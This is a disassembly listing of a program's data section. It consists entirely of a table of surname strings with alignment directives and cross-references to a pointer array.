aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042EB9Co
aSexton db 'Sexton',0 ; DATA XREF: ___:0042EB98o
align 10h
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042EB94o
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042EB90o
aSen db 'Sen',0 ; DATA XREF: ___:0042EB8Co
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042EB88o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042EB84o
align 4
aSegal db 'Segal',0 ; DATA XREF: ___:0042EB80o
align 10h
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042EB7Co
align 4
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042EB78o
align 10h
aScudder db 'Scudder',0 ; DATA XREF: ___:0042EB74o
aScovel db 'Scovel',0 ; DATA XREF: ___:0042EB70o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042EB6Co
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042EB68o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042EB64o
align 10h
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042EB60o
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042EB5Co
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042EB58o
align 10h
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042EB54o
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042EB50o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042EB4Co
align 10h
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042EB48o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042EB44o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042EB40o
aScharf db 'Scharf',0 ; DATA XREF: ___:0042EB3Co
align 4
aScepan db 'Scepan',0 ; DATA XREF: ___:0042EB38o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042EB34o
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042EB30o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042EB2Co
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042EB28o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042EB24o
align 4
aSatin db 'Satin',0 ; DATA XREF: ___:0042EB20o
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042EB1Co
align 4
aSartore db 'Sartore',0 ; DATA XREF: ___:0042EB18o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042EB14o
align 4
aSapers db 'Sapers',0 ; DATA XREF: ___:0042EB10o
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042EB0Co
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042EB08o
aSamson db 'Samson',0 ; DATA XREF: ___:0042EB04o
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042EB00o
align 4
aSahu db 'Sahu',0 ; DATA XREF: ___:0042EAFCo
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042EAF8o
align 4
aSadler db 'Sadler',0 ; DATA XREF: ___:0042EAF4o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042EAF0o
align 4
aRyu db 'Ryu',0 ; DATA XREF: ___:0042EAECo
aRush db 'Rush',0 ; DATA XREF: ___:0042EAE8o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042EAE4o
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042EAE0o
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042EADCo
align 4
aRu db 'Ru',0 ; DATA XREF: ___:0042EAD8o
align 4
aRoyal db 'Royal',0 ; DATA XREF: ___:0042EAD4o
align 10h
aRow db 'Row',0 ; DATA XREF: ___:0042EAD0o
aRonen db 'Ronen',0 ; DATA XREF: ___:0042EACCo
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042EAC8o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042EAC4o
aRocha db 'Rocha',0 ; DATA XREF: ___:0042EAC0o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042EABCo
align 10h
aRivera db 'Rivera',0 ; DATA XREF: ___:0042EAB8o
align 4
aRish db 'Rish',0 ; DATA XREF: ___:0042EAB4o
align 10h
aRineer db 'Rineer',0 ; DATA XREF: ___:0042EAB0o
align 4
aRindos db 'Rindos',0 ; DATA XREF: ___:0042EAACo
align 10h
aRielly db 'Rielly',0 ; DATA XREF: ___:0042EAA8o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042EAA4o
align 4
aRhea db 'Rhea',0 ; DATA XREF: ___:0042EAA0o
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042EA9Co
align 4
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042EA98o
aRenick db 'Renick',0 ; DATA XREF: ___:0042EA94o
align 4
aRemak db 'Remak',0 ; DATA XREF: ___:0042EA90o
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042EA8Co
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042EA88o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042EA84o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042EA80o
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042EA7Co
aRapple db 'Rapple',0 ; DATA XREF: ___:0042EA78o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042EA74o
align 4
aRangan db 'Rangan',0 ; DATA XREF: ___:0042EA70o
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042EA6Co
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042EA68o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042EA64o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042EA60o
align 10h
aRabe db 'Rabe',0 ; DATA XREF: ___:0042EA5Co
align 4
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042EA58o
align 10h
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042EA54o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042EA50o
aPugh db 'Pugh',0 ; DATA XREF: ___:0042EA4Co
align 4
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042EA48o
align 10h
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042EA44o
align 10h
aProietti db 'Proietti',0 ; DATA XREF: ___:0042EA40o
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042EA3Co
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042EA38o
align 10h
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042EA34o
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042EA30o
aPresper db 'Presper',0 ; DATA XREF: ___:0042EA2Co
aPowers db 'Powers',0 ; DATA XREF: ___:0042EA28o
align 10h
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042EA24o
aPoma db 'Poma',0 ; DATA XREF: ___:0042EA20o
align 10h
aPolitis db 'Politis',0 ; DATA XREF: ___:0042EA1Co
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042EA18o
aPolak db 'Polak',0 ; DATA XREF: ___:0042EA14o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042EA10o
aPointer db 'Pointer',0 ; DATA XREF: ___:0042EA0Co
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042EA08o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042EA04o
align 10h
aPo db 'Po',0 ; DATA XREF: ___:0042EA00o
align 4
aPlous db 'Plous',0 ; DATA XREF: ___:0042E9FCo
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E9F8o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E9F4o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E9F0o
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E9ECo
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E9E8o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E9E4o
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E9E0o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E9DCo
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E9D8o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E9D4o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E9D0o
align 10h
aPerone db 'Perone',0 ; DATA XREF: ___:0042E9CCo
align 4
aPerna db 'Perna',0 ; DATA XREF: ___:0042E9C8o
align 10h
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E9C4o
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E9C0o
align 10h
aPerko db 'Perko',0 ; DATA XREF: ___:0042E9BCo
align 4
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E9B8o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E9B4o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E9B0o
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E9ACo
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E9A8o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E9A4o
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E9A0o
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E99Co
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E998o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E994o
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E990o
align 10h
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E98Co
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E988o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E984o
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E980o
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E97Co
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E978o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E974o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E970o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E96Co
align 4
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E968o
align 10h
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E964o
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E960o
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E95Co
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E958o
align 4
aPaine db 'Paine',0 ; DATA XREF: ___:0042E954o
align 10h
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E950o
align 10h
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E94Co
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E948o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E944o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E940o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E93Co
align 10h
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E938o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E934o
align 10h
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E930o
aOray db 'Oray',0 ; DATA XREF: ___:0042E92Co
align 10h
aOpel db 'Opel',0 ; DATA XREF: ___:0042E928o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E924o
aOman db 'Oman',0 ; DATA XREF: ___:0042E920o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E91Co
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E918o
align 10h
aOlson db 'Olson',0 ; DATA XREF: ___:0042E914o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E910o
align 10h
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E90Co
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E908o
aOh db 'Oh',0 ; DATA XREF: ___:0042E904o
align 4
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E900o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E8FCo
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E8F8o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E8F4o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E8F0o
align 10h
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E8ECo
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E8E8o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E8E4o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E8E0o
align 4
aNg db 'Ng',0 ; DATA XREF: ___:0042E8DCo
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E8D8o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E8D4o
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E8D0o
align 4
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E8CCo
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E8C8o
align 4
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E8C4o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E8C0o
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E8BCo
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E8B8o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E8B4o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E8B0o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E8ACo
align 10h
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E8A8o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E8A4o
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E8A0o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E89Co
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E898o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E894o
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E890o
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E88Co
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E888o
align 10h
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E884o
align 4
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E880o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E87Co
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E878o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E874o
align 10h
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E870o
aMorani db 'Morani',0 ; DATA XREF: ___:0042E86Co
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E868o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E864o
align 4
aMonque db 'Monque',0 ; DATA XREF: ___:0042E860o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E85Co
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E858o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E854o
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E850o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E84Co
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E848o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E844o
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E840o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E83Co
aMini db 'Mini',0 ; DATA XREF: ___:0042E838o
align 4
aMinh db 'Minh',0 ; DATA XREF: ___:0042E834o
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E830o
align 4
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E82Co
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E828o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E824o
align 10h
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E820o
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E81Co
align 4
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E818o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E814o
align 4
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E810o
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E80Co
align 4
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E808o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E804o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E800o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E7FCo
align 10h
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E7F8o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E7F4o
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E7F0o
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E7ECo
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E7E8o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E7E4o
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E7E0o
align 10h
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E7DCo
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E7D8o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E7D4o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E7D0o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E7CCo
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E7C8o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E7C4o
align 4
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E7C0o
align 10h
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E7BCo
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E7B8o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E7B4o
align 10h
aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E7B0o
aMay db 'May',0 ; DATA XREF: ___:0042E7ACo
aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E7A8o
align 4
aMattson db 'Mattson',0 ; DATA XREF: ___:0042E7A4o
aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E7A0o
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E79Co
align 4
aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E798o
aMass db 'Mass',0 ; DATA XREF: ___:0042E794o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E790o
align 10h
aMarton db 'Marton',0 ; DATA XREF: ___:0042E78Co
align 4
aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E788o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E784o
align 10h
aMarques db 'Marques',0 ; DATA XREF: ___:0042E780o
aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E77Co
align 4
aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E778o
align 10h
aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E774o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E770o
align 4
aMarch db 'March',0 ; DATA XREF: ___:0042E76Co
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E768o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E764o
aMandel db 'Mandel',0 ; DATA XREF: ___:0042E760o
align 4
aManalis db 'Manalis',0 ; DATA XREF: ___:0042E75Co
aMalova db 'Malova',0 ; DATA XREF: ___:0042E758o
align 4
aMaller db 'Maller',0 ; DATA XREF: ___:0042E754o
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E750o
align 10h
aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E74Co
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E748o
align 4
aMaier db 'Maier',0 ; DATA XREF: ___:0042E744o
align 10h
aMahony db 'Mahony',0 ; DATA XREF: ___:0042E740o
align 4
aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E73Co
align 10h
aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E738o
aMacy db 'Macy',0 ; DATA XREF: ___:0042E734o
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E730o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E72Co
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E728o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E724o
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E720o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E71Co
align 4
aMa db 'Ma',0 ; DATA XREF: ___:0042E718o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E714o
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E710o
align 10h
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E70Co
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E708o
align 10h
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E704o
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E700o
align 10h
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E6FCo
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E6F8o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042E6F4o
align 4
aLubin db 'Lubin',0 ; DATA XREF: ___:0042E6F0o
align 10h
aLoza db 'Loza',0 ; DATA XREF: ___:0042E6ECo
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E6E8o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E6E4o
aLoss db 'Loss',0 ; DATA XREF: ___:0042E6E0o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E6DCo
align 10h
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E6D8o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E6D4o
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E6D0o
aLivi db 'Livi',0 ; DATA XREF: ___:0042E6CCo
align 4
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E6C8o
align 10h
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E6C4o
align 4
aLittle db 'Little',0 ; DATA XREF: ___:0042E6C0o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E6BCo
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E6B8o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E6B4o
align 10h
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E6B0o
aLine db 'Line',0 ; DATA XREF: ___:0042E6ACo
align 10h
aLinder db 'Linder',0 ; DATA XREF: ___:0042E6A8o
align 4
aLinda db 'Linda',0 ; DATA XREF: ___:0042E6A4o
align 10h
aLinares db 'Linares',0 ; DATA XREF: ___:0042E6A0o
aLim db 'Lim',0 ; DATA XREF: ___:0042E69Co
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E698o
align 4
aLight db 'Light',0 ; DATA XREF: ___:0042E694o
align 10h
aLiem db 'Liem',0 ; DATA XREF: ___:0042E690o
align 4
aLidano db 'Lidano',0 ; DATA XREF: ___:0042E68Co
align 10h
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E688o
align 4
aLessi db 'Lessi',0 ; DATA XREF: ___:0042E684o
align 10h
aLesser db 'Lesser',0 ; DATA XREF: ___:0042E680o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E67Co
align 4
aLenard db 'Lenard',0 ; DATA XREF: ___:0042E678o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042E674o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E670o
align 10h
aLecce db 'Lecce',0 ; DATA XREF: ___:0042E66Co
align 4
aLecar db 'Lecar',0 ; DATA XREF: ___:0042E668o
align 10h
aLawless db 'Lawless',0 ; DATA XREF: ___:0042E664o
aLashley db 'Lashley',0 ; DATA XREF: ___:0042E660o
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E65Co
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E658o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E654o
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042E650o
align 4
aLandes db 'Landes',0 ; DATA XREF: ___:0042E64Co
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E648o
align 4
aLaing db 'Laing',0 ; DATA XREF: ___:0042E644o
align 10h
aLafler db 'Lafler',0 ; DATA XREF: ___:0042E640o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E63Co
aLa db 'La',0 ; DATA XREF: ___:0042E638o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E634o
align 10h
aKusman db 'Kusman',0 ; DATA XREF: ___:0042E630o
align 4
aKumar db 'Kumar',0 ; DATA XREF: ___:0042E62Co
align 10h
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E628o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E624o
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E620o
aKraus db 'Kraus',0 ; DATA XREF: ___:0042E61Co
align 10h
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E618o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E614o
align 10h
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E610o
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E60Co
align 10h
aKotter db 'Kotter',0 ; DATA XREF: ___:0042E608o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E604o
align 4
aKool db 'Kool',0 ; DATA XREF: ___:0042E600o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E5FCo
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E5F8o
align 10h
aKommer db 'Kommer',0 ; DATA XREF: ___:0042E5F4o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E5F0o
align 4
aKohn db 'Kohn',0 ; DATA XREF: ___:0042E5ECo
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042E5E8o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E5E4o
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E5E0o
align 4
aKlint db 'Klint',0 ; DATA XREF: ___:0042E5DCo
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E5D8o
aKling db 'Kling',0 ; DATA XREF: ___:0042E5D4o
align 10h
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E5D0o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E5CCo
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E5C8o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E5C4o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E5C0o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E5BCo
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E5B8o
align 10h
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E5B4o
aKindall db 'Kindall',0 ; DATA XREF: ___:0042E5B0o
aKimura db 'Kimura',0 ; DATA XREF: ___:0042E5ACo
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E5A8o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E5A4o
align 4
aKhong db 'Khong',0 ; DATA XREF: ___:0042E5A0o
align 10h
aKeul db 'Keul',0 ; DATA XREF: ___:0042E59Co
align 4
aKerry db 'Kerry',0 ; DATA XREF: ___:0042E598o
align 10h
aKendall db 'Kendall',0 ; DATA XREF: ___:0042E594o
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E590o
aKempton db 'Kempton',0 ; DATA XREF: ___:0042E58Co
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E588o
align 10h
aKelker db 'Kelker',0 ; DATA XREF: ___:0042E584o
align 4
aKeith db 'Keith',0 ; DATA XREF: ___:0042E580o
align 10h
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E57Co
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E578o
align 10h
aKee db 'Kee',0 ; DATA XREF: ___:0042E574o
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E570o
aKasten db 'Kasten',0 ; DATA XREF: ___:0042E56Co
align 4
aKassower db 'Kassower',0 ; DATA XREF: ___:0042E568o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E564o
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042E560o
align 4
aKamel db 'Kamel',0 ; DATA XREF: ___:0042E55Co
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042E558o
align 4
